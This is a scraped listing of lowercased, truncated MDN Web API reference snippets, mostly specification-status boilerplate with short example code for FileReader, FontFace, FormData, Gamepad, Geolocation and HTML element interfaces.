specifications specification status comment file apithe definition of 'abort()' in that specification.
... working draft initial definition ...
FileReader.error - Web APIs
WebAPIFileReadererror
specifications specification status comment file apithe definition of 'filereader: error' in that specification.
... working draft initial definition ...
FileReader.readAsArrayBuffer() - Web APIs
specifications specification status comment file apithe definition of 'filereader.readasarraybuffer' in that specification.
... working draft initial definition ...
FileReader.readAsDataURL() - Web APIs
specifications specification status comment file apithe definition of 'readasdataurl()' in that specification.
... working draft initial definition ...
FileReader.readAsText() - Web APIs
specifications specification status comment file apithe definition of 'readastext()' in that specification.
... working draft initial definition ...
FileReader.readyState - Web APIs
specifications specification status comment file apithe definition of 'readystate' in that specification.
... working draft initial definition ...
FileReaderSync.readAsArrayBuffer() - Web APIs
specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification.
... working draft initial definition.
FileReaderSync.readAsBinaryString() - Web APIs
specifications specification status comment file apithe definition of 'readasbinarystringsync' in that specification.
... working draft initial definition.
FileReaderSync.readAsDataURL() - Web APIs
specifications specification status comment file apithe definition of 'readasdataurl' in that specification.
... working draft initial definition.
FileReaderSync.readAsText() - Web APIs
specifications specification status comment file apithe definition of 'readastext' in that specification.
... working draft initial definition.
FileReaderSync - Web APIs
specifications specification status comment file apithe definition of 'filereadersync' in that specification.
... working draft initial definition.
FileSystem.name - Web APIs
WebAPIFileSystemname
example // tbd specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
... draft initial specification.
FileSystem.root - Web APIs
WebAPIFileSystemroot
example // tbd specifications specification status comment file and directory entries apithe definition of 'root' in that specification.
... draft initial specification.
FileSystemDirectoryEntry.createReader() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'createreader()' in that specification.
... draft initial specification.
FileSystemDirectoryEntry.getDirectory() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getdirectory()' in that specification.
... draft initial specification.
FileSystemDirectoryEntry.getFile() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getfile()' in that specification.
... draft initial specification.
FileSystemEntry.filesystem - Web APIs
let rootdirentry = fileentry.filesystem.root; specifications specification status comment file and directory entries apithe definition of 'filesystem' in that specification.
... draft initial specification.
FileSystemEntry.fullPath - Web APIs
specifications specification status comment file and directory entries apithe definition of 'fullpath' in that specification.
... draft initial specification.
FileSystemEntry.getParent() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'getparent()' in that specification.
... draft initial specification.
FileSystemEntry.isDirectory - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isdirectory' in that specification.
... draft initial specification.
FileSystemEntry.isFile - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isfile' in that specification.
... draft initial specification.
FileSystemEntry.name - Web APIs
function isfilewithextension(entry, extension) { return (entry.isfile && entry.name.endswith("." + extension)); } specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
... draft initial specification.
FileSystemFileEntry.file() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'file()' in that specification.
... draft initial specification.
FileSystemFileEntry - Web APIs
function oninitfs(fs) { fs.root.getfile('log.txt', {create: true}, function(fileentry) { // create a filewriter object for our filesystemfileentry (log.txt).
... var bb = new blobbuilder(); bb.append('meow'); filewriter.write(bb.getblob('text/plain')); }, errorhandler); }, errorhandler); } window.requestfilesystem(window.temporary, 1024*1024, oninitfs, errorhandler); specifications specification status comment file and directory entries apithe definition of 'filesystemfileentry' in that specification.
FileSystemFlags.create - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
... draft initial specification.
FileSystemFlags.exclusive - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
... draft initial specification.
FileSystemFlags - Web APIs
specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification.
... draft initial specification.
Introduction to the File and Directory Entries API - Web APIs
to learn more about terminology used in this api, see the definitions section.
... definitions this section defines and explains terms used in the file and directory entries api.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
async function loadfonts() { const font = new fontface('myfont', 'url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specification.
... working draft initial definition ...
FontFace.family - Web APIs
WebAPIFontFacefamily
example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
... working draft initial definition ...
FontFace.featureSettings - Web APIs
specifications specification status comment css font loading module level 3the definition of 'featuresettings' in that specification.
... working draft initial definition.
FontFace.load - Web APIs
WebAPIFontFaceload
specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
... working draft initial definition.
FontFace.loaded - Web APIs
WebAPIFontFaceloaded
specifications specification status comment css font loading module level 3the definition of 'loaded' in that specification.
... working draft initial definition.
FontFace.status - Web APIs
WebAPIFontFacestatus
specifications specification status comment css font loading module level 3the definition of 'status' in that specification.
... working draft initial definition.
FontFace.stretch - Web APIs
WebAPIFontFacestretch
specifications specification status comment css font loading module level 3the definition of 'stretch' in that specification.
... working draft initial definition.
FontFace.style - Web APIs
WebAPIFontFacestyle
specifications specification status comment css font loading module level 3the definition of 'style' in that specification.
... working draft initial definition.
FontFace.unicodeRange - Web APIs
specifications specification status comment css font loading module level 3the definition of 'unicoderange' in that specification.
... working draft initial definition.
FontFace.variant - Web APIs
WebAPIFontFacevariant
specifications specification status comment css font loading module level 3the definition of 'variant' in that specification.
... working draft initial definition.
FontFace.weight - Web APIs
WebAPIFontFaceweight
specifications specification status comment css font loading module level 3the definition of 'weight' in that specification.
... working draft initial definition.
FontFace - Web APIs
WebAPIFontFace
specifications specification status comment css font loading module level 3the definition of 'fontface' in that specification.
... working draft initial definition ...
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
specifications specification status comment css font loading module level 3the definition of 'check' in that specification.
... working draft initial definition ...
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
document.fonts.load("12px myfont", "ß").then(…); specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
... working draft initial definition ...
FontFaceSet.ready - Web APIs
WebAPIFontFaceSetready
specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
... working draft initial definition ...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification.
... working draft initial definition.
FontFaceSetLoadEvent - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent' in that specification.
... working draft initial definition.
FormData() - Web APIs
WebAPIFormDataFormData
let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
... living standard initial definition ...
FormData.append() - Web APIs
WebAPIFormDataappend
if the sent value is different than string or blob it will be automatically converted to string: formdata.append('name', true); formdata.append('name', 74); formdata.append('name', 'john'); formdata.getall('name'); // ["true", "74", "john"] specifications specification status comment xmlhttprequestthe definition of 'append()' in that specification.
... living standard initial definition ...
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
... living standard initial definition ...
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
... living standard initial definition ...
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
... living standard initial definition ...
FullscreenOptions.navigationUI - Web APIs
specifications specification status comment fullscreen apithe definition of 'fullscreenoptions' in that specification.
... living standard initial definition ...
GainNode() - Web APIs
WebAPIGainNodeGainNode
specifications specification status comment web audio apithe definition of 'gainnode()' in that specification.
... working draft initial definition.
Gamepad.axes - Web APIs
WebAPIGamepadaxes
specifications specification status comment gamepadthe definition of 'gamepad.axes' in that specification.
... working draft initial definition ...
Gamepad.buttons - Web APIs
WebAPIGamepadbuttons
specifications specification status comment gamepadthe definition of 'gamepad.buttons' in that specification.
... working draft initial definition ...
Gamepad.connected - Web APIs
WebAPIGamepadconnected
specifications specification status comment gamepadthe definition of 'gamepad.connected' in that specification.
... working draft initial definition ...
Gamepad.hand - Web APIs
WebAPIGamepadhand
examples tbc specifications specification status comment gamepad extensionsthe definition of 'hand' in that specification.
... editor's draft initial definition ...
Gamepad.hapticActuators - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'hapticactuators' in that specification.
... editor's draft initial definition ...
Gamepad.id - Web APIs
WebAPIGamepadid
specifications specification status comment gamepadthe definition of 'gamepad.id' in that specification.
... working draft initial definition ...
Gamepad.index - Web APIs
WebAPIGamepadindex
specifications specification status comment gamepadthe definition of 'gamepad.index' in that specification.
... working draft initial definition ...
Gamepad.mapping - Web APIs
WebAPIGamepadmapping
specifications specification status comment gamepadthe definition of 'gamepad.mapping' in that specification.
... working draft initial definition ...
Gamepad.timestamp - Web APIs
WebAPIGamepadtimestamp
specifications specification status comment gamepadthe definition of 'gamepad.timestamp' in that specification.
... working draft initial definition ...
Gamepad - Web APIs
WebAPIGamepad
%d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); specifications specification status comment gamepadthe definition of 'gamepad' in that specification.
... working draft initial definition gamepad extensionsthe definition of 'gamepad extensions' in that specification.
GamepadButton.pressed - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadbutton.pressed' in that specification.
... working draft initial definition ...
GamepadButton.value - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadbutton.value' in that specification.
... working draft initial definition ...
GamepadButton - Web APIs
ttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; } } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; specifications specification status comment gamepadthe definition of 'gamepadbutton' in that specification.
... working draft initial definition ...
GamepadEvent() - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadevent_' in that specification.
... working draft initial definition.
GamepadEvent.gamepad - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadevent.gamepad' in that specification.
... working draft initial definition ...
GamepadEvent - Web APIs
window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification.
... working draft initial definition browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgamepadeventchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18firefox full support 29 full support 29 no support 24 — 28disabled disabled from version 24 until version 28 (exclusive): this feature is behind ...
GamepadHapticActuator.pulse() - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'pulse()' in that specification.
... editor's draft initial definition ...
GamepadHapticActuator.type - Web APIs
examples tbc specifications specification status comment gamepad extensionsthe definition of 'gamepadhapticactuatortype' in that specification.
... editor's draft initial definition ...
GamepadHapticActuator - Web APIs
specifications specification status comment gamepad extensionsthe definition of 'gamepadhapticactuator' in that specification.
... editor's draft initial definition ...
Using the Gamepad API - Web APIs
rs) { controllers[gamepads[i].index] = gamepads[i]; } else { addgamepad(gamepads[i]); } } } } window.addeventlistener("gamepadconnected", connecthandler); window.addeventlistener("gamepaddisconnected", disconnecthandler); if (!haveevents) { setinterval(scangamepads, 500); } specifications specification status comment gamepadthe definition of 'gamepad' in that specification.
... working draft initial defintion ...
Gamepad API - Web APIs
gamepadthe definition of 'the gamepad api specification' in that specification.
... working draft initial definition ...
Geolocation.getCurrentPosition() - Web APIs
options includes: maximumage: integer (milliseconds) | infinity - maximum cached position age.
...le.log(`latitude : ${crd.latitude}`); console.log(`longitude: ${crd.longitude}`); console.log(`more or less ${crd.accuracy} meters.`); } function error(err) { console.warn(`error(${err.code}): ${err.message}`); } navigator.geolocation.getcurrentposition(success, error, options); specifications specification status comment geolocation api recommendation initial specification.
Geolocation.watchPosition() - Web APIs
tion.clearwatch(id); } } function error(err) { console.warn('error(' + err.code + '): ' + err.message); } target = { latitude : 0, longitude: 0 }; options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation apithe definition of 'watchposition()' in that specification.
... recommendation initial specification.
GeolocationCoordinates.accuracy - Web APIs
specifications specification status comment geolocation apithe definition of 'coordinates.accuracy' in that specification.
... recommendation initial definition ...
GeolocationCoordinates.altitude - Web APIs
specifications specification status comment geolocation apithe definition of 'coordinates.altitude' in that specification.
... recommendation initial definition ...
GeolocationCoordinates.altitudeAccuracy - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.altitudeaccuracy' in that specification.
... recommendation initial specification.
GeolocationCoordinates.heading - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.heading' in that specification.
... recommendation initial specification.
GeolocationCoordinates.latitude - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.latitude' in that specification.
... recommendation initial specification.
GeolocationCoordinates.longitude - Web APIs
</p> <button id="get-location"> get my location </button> result take this example for a test drive here: specifications specification status comment geolocation apithe definition of 'coordinates.longitude' in that specification.
... recommendation initial specification.
GeolocationCoordinates.speed - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.speed' in that specification.
... recommendation initial specification.
GeolocationCoordinates - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates' in that specification.
... recommendation initial specification.
GeolocationPosition.coords - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition.coords' in that specification.
... recommendation initial specification.
GeolocationPosition.timestamp - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition.timestamp' in that specification.
... recommendation initial definition ...
GeolocationPosition - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition' in that specification.
... recommendation initial specification.
GeolocationPositionError.code - Web APIs
specifications specification status comment geolocation apithe definition of 'positionerror.code' in that specification.
... recommendation initial definition ...
GeolocationPositionError.message - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationpositionerror.message' in that specification.
... recommendation initial definition ...
GeolocationPositionError - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationpositionerror' in that specification.
... recommendation initial specification.
Using the Geolocation API - Web APIs
this initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information.
... note: you can use watchposition() without an initial getcurrentposition() call.
GeometryUtils - Web APIs
geometryutils.convertquadfromnode() fixme: needs a description geometryutils.convertrectfromnode() fixme: needs a description geometryutils.convertpointfromnode() fixme: needs a description specifications specification status comment css object model (cssom) view modulethe definition of 'geometryutils' in that specification.
... working draft initial definition ...
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); c...
...onst note = document.queryselector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; result specifications specification status comment html living standardthe definition of 'oncontextmenu' in that specification.
GlobalEventHandlers.onerror - Web APIs
when a resource (such as an <img> or <script>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked.
... specifications specification status comment html living standardthe definition of 'onerror' in that specification.
GlobalEventHandlers.oninput - Web APIs
ength." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
... living standard initial definition ...
GlobalEventHandlers.onloadstart - Web APIs
first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html living standardthe definition of 'onloadstart' in that specification.
... living standard initial definition ...
GlobalEventHandlers.onselectionchange - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectionchange' in that specification.
... working draft initial definition.
GlobalEventHandlers.onselectstart - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectstart' in that specification.
... working draft initial definition.
Gyroscope - Web APIs
WebAPIGyroscope
gyroscopethe definition of 'gyroscope' in that specification.
... candidate recommendation initial definition.
HTMLAnchorElement.download - Web APIs
syntax var dnload = anchorelt.download; anchorelt.download = dnload; specifications specification status comment html living standardthe definition of 'download' in that specification.
... living standard initial definition.
HTMLAnchorElement.relList - Web APIs
agname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
... living standard initial definition.
HTMLAreaElement.rel - Web APIs
syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
... living standard initial definition ...
HTMLAreaElement.relList - Web APIs
t; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
... living standard initial definition.
HTMLAudioElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlaudioelement' in that specification.
... living standard html5the definition of 'htmlaudioelement' in that specification.
HTMLBRElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlbrelement' in that specification.
... living standard no change from html5 html5the definition of 'htmlbrelement' in that specification.
HTMLButtonElement.labels - Web APIs
abel id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard initial definition ...
HTMLCanvasElement.captureStream() - Web APIs
send it to another computer using an rtcpeerconnection // pc is an rtcpeerconnection created elsewhere pc.addstream(stream); specifications specification status comment media capture from dom elementsthe definition of 'htmlcanvaselement.capturestream()' in that specification.
... working draft initial definition ...
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
none example var canvas = document.getelementbyid('canvas'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log(e.statusmessage || 'unknown error'); }, false); var gl = canvas.getcontext('webgl'); // logs statusmessage or "unknown error" if unable to create webgl context specifications specification status comment webgl 1.0the definition of 'webglcontextcreationerror' in that specification.
... recommendation initial definition.
HTMLCanvasElement: webglcontextlost event - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglcontextlost' in that specification.
... recommendation initial definition.
HTMLDataElement.value - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification.
... living standard html5the definition of 'value' in that specification.
HTMLDataElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement' in that specification.
... living standard html5the definition of 'htmldataelement' in that specification.
HTMLDialogElement.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
... living standard html 5.1the definition of 'close()' in that specification.
HTMLDialogElement.open - Web APIs
specifications specification status comment html living standardthe definition of 'open' in that specification.
... living standard html 5.1the definition of 'open' in that specification.
HTMLDialogElement.returnValue - Web APIs
specifications specification status comment html living standardthe definition of 'returnvalue' in that specification.
... living standard html 5.1the definition of 'returnvalue' in that specification.
HTMLDialogElement.show() - Web APIs
r('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html living standardthe definition of 'show()' in that specification.
... living standard html 5.1the definition of 'show()' in that specification.
HTMLDialogElement.showModal() - Web APIs
specifications specification status comment html living standardthe definition of 'showmodal()' in that specification.
... living standard html 5.1the definition of 'showmodal()' in that specification.
HTMLElement.contentEditable - Web APIs
syntax editable = element.contenteditable element.contenteditable = 'true' specifications specification status comment html living standardthe definition of 'contenteditable' in that specification.
... living standard initial definition ...
HTMLElement: input event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('input', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'input event' in that specification.
... living standard document object model (dom) level 3 events specificationthe definition of 'input event' in that specification.
HTMLElement: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
... working draft initial definition.
HTMLElement: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
... working draft initial definition.
HTMLElement: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
... working draft initial definition.
HTMLFormControlsCollection.namedItem() - Web APIs
example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
... living standard html5the definition of 'htmlformcontrolscollection' in that specification.
HTMLFormControlsCollection - Web APIs
specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection' in that specification.
... html5the definition of 'htmlformcontrolscollection' in that specification.
HTMLFormElement.enctype - Web APIs
possible values are: application/x-www-form-urlencoded: the initial default type.
... syntax var string = form.enctype; form.enctype = string; example form.enctype = 'application/x-www-form-urlencoded'; specifications specification status comment html living standardthe definition of 'htmlformelement: enctype' in that specification.
HTMLHyperlinkElementUtils.hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
... living standard initial definition ...
HTMLHyperlinkElementUtils.host - Web APIs
//developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.host' in that specification.
... living standard initial definition ...
HTMLHyperlinkElementUtils.hostname - Web APIs
bject.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.href - Web APIs
tring; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.password - Web APIs
ng = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.search - Web APIs
g/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
... living standard initial definition.
HTMLHyperlinkElementUtils.username - Web APIs
= object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
... living standard initial definition.
HTMLIFrameElement.allowPaymentRequest - Web APIs
specifications specification status comment payment request apithe definition of 'allowpaymentrequest' in that specification.
... html living standardthe definition of 'htmliframeelement: allowpaymentrequest' in that specification.
HTMLIFrameElement.csp - Web APIs
specifications specification status comment content security policy: embedded enforcementthe definition of 'csp' in that specification.
... working draft initial definition.
HTMLIFrameElement.referrerPolicy - Web APIs
examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... html living standardthe definition of 'htmliframeelement: referrerpolicy' in that specification.
HTMLImageElement.align - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.align' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.align' in that specification.
HTMLImageElement.border - Web APIs
the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.border' in that specification.
HTMLImageElement.hspace - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification.
HTMLImageElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.name' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.name' in that specification.
HTMLImageElement.vspace - Web APIs
specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification.
... living standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification.
HTMLInputElement: search event - Web APIs
the search event is fired when a search is initiated usinng an <input> element of type="search".
... bubbles yes cancelable no interface event event handler property onsearch there are several ways a search can be initiated, such as by pressing enter while the <input> is focused, or, if the incremental attribute is present, after a ua-defined timeout elapses since the most recent keystroke (with new keystrokes resetting the timeout so the firing of the event is debounced).
HTMLInputElement.webkitEntries - Web APIs
specifications specification status comment file and directory entries apithe definition of 'webkitentries' in that specification.
... draft initial specification.
HTMLInputElement.webkitdirectory - Web APIs
on(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification.
... draft initial specification.
HTMLLabelElement.control - Web APIs
specifications specification status comment html living standardthe definition of 'control' in that specification.
... living standard initial definition ...
HTMLLabelElement.form - Web APIs
specifications specification status comment html living standardthe definition of 'form' in that specification.
... living standard initial definition ...
HTMLLabelElement.htmlFor - Web APIs
specifications specification status comment html living standardthe definition of 'htmlfor' in that specification.
... living standard initial definition ...
HTMLLinkElement.as - Web APIs
specifications specification status comment preloadthe definition of 'as' in that specification.
... candidate recommendation initial definition.
